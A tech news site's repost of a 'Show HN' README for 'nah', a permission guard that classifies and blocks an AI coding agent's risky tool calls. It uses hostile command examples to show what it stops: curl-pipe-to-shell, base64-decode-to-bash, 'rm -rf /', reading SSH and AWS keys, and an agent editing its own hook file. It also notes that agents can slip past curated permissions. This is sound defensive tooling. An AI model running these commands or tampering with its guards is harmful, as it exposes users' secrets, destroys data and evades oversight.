Close Menu

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    What's Hot

    Apple’s upcoming foldable iPhone could serve an iPad-like adaptive iOS experience

    Perplexity’s Personal Computer: What is it, what can it do, and what does it cost?

    Best 7 TVs I’ve Tested for March 2026

    Facebook X (Twitter) Instagram
    • Artificial Intelligence
    • Business Technology
    • Cryptocurrency
    • Gadgets
    • Gaming
    • Health
    • Software and Apps
    • Technology
    Facebook X (Twitter) Instagram Pinterest Vimeo
    Tech AI Verse
    • Home
    • Artificial Intelligence

      What the polls say about how Americans are using AI

      February 27, 2026

      Tensions between the Pentagon and AI giant Anthropic reach a boiling point

      February 21, 2026

      Read the extended transcript: President Donald Trump interviewed by ‘NBC Nightly News’ anchor Tom Llamas

      February 6, 2026

      Stocks and bitcoin sink as investors dump software company shares

      February 4, 2026

      AI, crypto and Trump super PACs stash millions to spend on the midterms

      February 2, 2026
    • Business

      Met Office ‘supercomputing as a service’ one year old

      March 12, 2026

      Tech hiring evolves as candidates ask for AI compute alongside pay and perks

      March 11, 2026

      Oracle is spending billions on AI data centers as cash flow turns negative

      March 11, 2026

      Google: Cloud attacks exploit flaws more than weak credentials

      March 10, 2026

      Could this be the key to eternal storage? Experts claim new DNA HDD can be ‘erased and overwritten repeatedly’

      March 9, 2026
    • Crypto

      Banks Respond to Kraken’s Federal Reserve Access as Trump Sides with Crypto

      March 4, 2026

      Hyperliquid and DEXs Break the Top 10 — Is the CEX Era Ending?

      March 4, 2026

      Consensus Hong Kong 2026: The Institutional Turn 

      March 4, 2026

      New Crypto Mutuum Finance (MUTM) Reports V1 Protocol Progress as Roadmap Enters Phase 3

      March 4, 2026

      Bitcoin Short Sellers Caught Off Guard in New White House Move

      March 4, 2026
    • Technology

      Apple’s upcoming foldable iPhone could serve an iPad-like adaptive iOS experience

      March 12, 2026

      Perplexity’s Personal Computer: What is it, what can it do, and what does it cost?

      March 12, 2026

      Best 7 TVs I’ve Tested for March 2026

      March 12, 2026

      Valve’s Steam Machine launches in 2026: Everything we know so far

      March 12, 2026

      Nvidia’s new open weights Nemotron 3 super combines three different architectures to beat gpt-oss and Qwen in throughput

      March 12, 2026
    • Others
      • Gadgets
      • Gaming
      • Health
      • Software and Apps
    Check BMI
    Tech AI Verse
    You are at:Home»Technology»Show HN: A context-aware permission guard for Claude Code
    Technology

    Show HN: A context-aware permission guard for Claude Code

    TechAiVerseBy TechAiVerseMarch 12, 2026No Comments6 Mins Read3 Views
    Facebook Twitter Pinterest Telegram LinkedIn Tumblr Email Reddit
    Show HN: A context-aware permission guard for Claude Code
    Share
    Facebook Twitter LinkedIn Pinterest WhatsApp Email

    Show HN: A context-aware permission guard for Claude Code

    A permission system you control.
    Because allow-or-deny isn’t enough.

    Docs •
    Install •
    What it guards •
    How it works •
    Configure •
    CLI


    The problem

    Claude Code’s permission system is allow-or-deny per tool, but that doesn’t really scale. Deleting some files is fine sometimes. And git checkout is sometimes catastrophic. Even when you curate permissions, 200 IQ Opus can find a way around it. Maintaining a deny list is a fool’s errand.

    We needed something like –dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.

    nah classifies every tool call by what it actually does using contextual rules that run in milliseconds. For the ambiguous stuff, optionally route to an LLM. Every decision is logged and inspectable. Works out of the box, configure it how you want it.

    git push — Sure.
    git push --force — nah?

    rm -rf __pycache__ — Ok, cleaning up.
    rm ~/.bashrc — nah.

    Read ./src/app.py — Go ahead.
    Read ~/.ssh/id_rsa — nah.

    Write ./config.yaml — Fine.
    Write ~/.bashrc with curl sketchy.com | sh — nah.

    Install

    pip install nah
    nah install

    You are up and running. To uninstall: nah uninstall && pip uninstall nah.

    Don’t use --dangerously-skip-permissions. In bypass mode, hooks
    fire asynchronously —
    commands execute before nah can block them.

    Allow-list Bash, Read, Glob, Grep and let nah guard them.
    For Write and Edit, your call — nah inspects content either way.

    Try it out

    Run the security demo inside Claude Code:

    You’ll go thru 25 live cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

    What it guards

    nah is a PreToolUse hook that intercepts every tool call before it executes:

    Tool What nah checks
    Bash Structural command classification — action type, pipe composition, shell unwrapping
    Read Sensitive path detection (~/.ssh, ~/.aws, .env, …)
    Write Path check + project boundary + content inspection (secrets, exfiltration, destructive payloads)
    Edit Path check + project boundary + content inspection on the replacement string
    Glob Guards directory scanning of sensitive locations
    Grep Catches credential search patterns outside the project
    MCP tools Generic classification for third-party tool servers (mcp__*)

    How it works

    Every tool call hits a deterministic structural classifier first, no LLMs involved.

    Claude: Edit → ~/.claude/hooks/nah_guard.py
      nah. Edit targets hook directory: ~/.claude/hooks/ (self-modification blocked)
    
    Claude: Read → ~/.aws/credentials
      nah? Read targets sensitive path: ~/.aws (requires confirmation)
    
    Claude: Bash → npm test
      ✓ allowed (package_run)
    
    Claude: Write → config.py containing "-----BEGIN PRIVATE KEY-----"
      nah? Write content inspection [secret]: private key
    

    nah. = blocked. nah? = asks for your confirmation. Everything else flows through silently.

    Context-aware

    The same command gets different decisions based on context:

    Command Context Decision
    rm dist/bundle.js Inside project Allow
    rm ~/.bashrc Outside project Ask
    git push --force History rewrite Ask
    base64 -d | bash Decode + exec pipe Block

    Optional LLM layer

    For commands the classifier can’t resolve, nah can optionally consult an LLM:

    Tool call → nah (deterministic) → LLM (optional) → Claude Code permissions → execute
    

    The deterministic layer always runs first — the LLM only resolves leftover “ask” decisions. If no LLM is configured or available, the decision stays “ask” and the user is prompted.

    Supported providers: Ollama, OpenRouter, OpenAI, Anthropic, Snowflake Cortex.

    Configure

    Works out of the box with zero config. When you want to tune it:

    # ~/.config/nah/config.yaml  (global)
    # .nah.yaml                  (per-project, can only tighten)
    
    # Override default policies for action types
    actions:
      filesystem_delete: ask         # always confirm deletes
      git_history_rewrite: block     # never allow force push
      lang_exec: allow               # trust inline scripts
    
    # Guard sensitive directories
    sensitive_paths:
      ~/.kube: ask
      ~/Documents/taxes: block
    
    # Teach nah about your commands
    classify:
      database_destructive:
        - "psql -c DROP"
        - "mysql -e DROP"

    nah classifies commands by action type, not by command name. Run nah types to see all 20 built-in action types with their default policies.

    Action types

    Every command maps to an action type, and every action type has a default policy:

    Policy Meaning Example types
    allow Always permit filesystem_read, git_safe, package_run
    context Check path/project context, then decide filesystem_write, filesystem_delete, network_outbound
    ask Always prompt the user git_history_rewrite, lang_exec, process_signal
    block Always reject obfuscated

    Taxonomy profiles

    Choose how much built-in classification to start with:

    # ~/.config/nah/config.yaml
    profile: full      # full | minimal | none
    • full (default) — comprehensive coverage across shell, git, packages, containers, and more
    • minimal — curated essentials only (rm, git, curl, kill, …)
    • none — blank slate — make your own

    LLM configuration

    # ~/.config/nah/config.yaml
    llm:
      enabled: true
      max_decision: ask              # cap: LLM can't escalate past "ask"
      providers: [openrouter]        # cascade order
      openrouter:
        url: https://openrouter.ai/api/v1/chat/completions
        key_env: OPENROUTER_API_KEY
        model: google/gemini-3.1-flash-lite-preview

    Supply-chain safety

    Project .nah.yaml can add classifications and tighten policies, but can never relax them. A malicious repo can’t use .nah.yaml to allowlist dangerous commands — only your global config has that power.

    CLI

    Core

    nah install                # install hook
    nah uninstall              # clean removal
    nah update                 # update hook after pip upgrade
    nah config show            # show effective merged config
    nah config path            # show config file locations

    Test & inspect

    nah test "rm -rf /"              # dry-run Bash classification
    nah test --tool Read ~/.ssh/id_rsa   # test any tool, not just Bash
    nah test --tool Write ./out.txt      # test Write with content inspection
    nah types                        # list all action types with default policies
    nah log                          # show recent hook decisions
    nah log --blocks                 # show only blocked decisions
    nah log --asks                   # show only ask decisions
    nah log --tool Bash -n 20        # filter by tool, limit entries
    nah log --json                   # machine-readable output
    /nah-demo                        # live security demo inside Claude Code

    Manage rules

    Adjust policies from the command line:

    nah allow filesystem_delete      # allow an action type
    nah deny network_outbound        # block an action type
    nah classify "docker rm" container_destructive  # teach nah a command
    nah trust api.example.com        # trust a network host
    nah allow-path ~/sensitive/dir   # exempt a path for this project
    nah status                       # show all custom rules
    nah forget filesystem_delete     # remove a rule

    License

    MIT


    --dangerously-skip-permissions?

    Share. Facebook Twitter Pinterest LinkedIn Reddit WhatsApp Telegram Email
    Previous ArticleI guess this wasn’t an Xbox after all
    Next Article Show HN: Autoresearch@home
    TechAiVerse
    • Website

    Jonathan is a tech enthusiast and the mind behind Tech AI Verse. With a passion for artificial intelligence, consumer tech, and emerging innovations, he deliver clear, insightful content to keep readers informed. From cutting-edge gadgets to AI advancements and cryptocurrency trends, Jonathan breaks down complex topics to make technology accessible to all.

    Related Posts

    Apple’s upcoming foldable iPhone could serve an iPad-like adaptive iOS experience

    March 12, 2026

    Perplexity’s Personal Computer: What is it, what can it do, and what does it cost?

    March 12, 2026

    Best 7 TVs I’ve Tested for March 2026

    March 12, 2026
    Leave A Reply Cancel Reply

    Top Posts

    Ping, You’ve Got Whale: AI detection system alerts ships of whales in their path

    April 22, 2025714 Views

    Lumo vs. Duck AI: Which AI is Better for Your Privacy?

    July 31, 2025298 Views

    Wired Headphones Are Making A Comeback, And We Have Gen Z To Thank

    July 22, 2025209 Views

    6.7 Cummins Lifter Failure: What Years Are Affected (And Possible Fixes)

    April 14, 2025168 Views
    Don't Miss
    Technology March 12, 2026

    Apple’s upcoming foldable iPhone could serve an iPad-like adaptive iOS experience

    Apple’s upcoming foldable iPhone could serve an iPad-like adaptive iOS experience Digital Trends may earn…

    Perplexity’s Personal Computer: What is it, what can it do, and what does it cost?

    Best 7 TVs I’ve Tested for March 2026

    Valve’s Steam Machine launches in 2026: Everything we know so far

    Stay In Touch
    • Facebook
    • Twitter
    • Pinterest
    • Instagram
    • YouTube
    • Vimeo

    Subscribe to Updates

    Get the latest creative news from SmartMag about art & design.

    About Us
    About Us

    Welcome to Tech AI Verse, your go-to destination for everything technology! We bring you the latest news, trends, and insights from the ever-evolving world of tech. Our coverage spans across global technology industry updates, artificial intelligence advancements, machine learning ethics, and automation innovations. Stay connected with us as we explore the limitless possibilities of technology!

    Facebook X (Twitter) Pinterest YouTube WhatsApp
    Our Picks

    Apple’s upcoming foldable iPhone could serve an iPad-like adaptive iOS experience

    March 12, 20261 Views

    Perplexity’s Personal Computer: What is it, what can it do, and what does it cost?

    March 12, 20261 Views

    Best 7 TVs I’ve Tested for March 2026

    March 12, 20261 Views
    Most Popular

    The Players Championship 2025: TV Schedule Today, How to Watch, Stream All the PGA Tour Golf From Anywhere

    March 13, 20250 Views

    Over half of American adults have used an AI chatbot, survey finds

    March 14, 20250 Views

    UMass disbands its entering biomed graduate class over Trump funding chaos

    March 14, 20250 Views
    © 2026 TechAiVerse. Designed by Divya Tech.
    • Home
    • About Us
    • Contact Us
    • Privacy Policy
    • Terms & Conditions

    Type above and press Enter to search. Press Esc to cancel.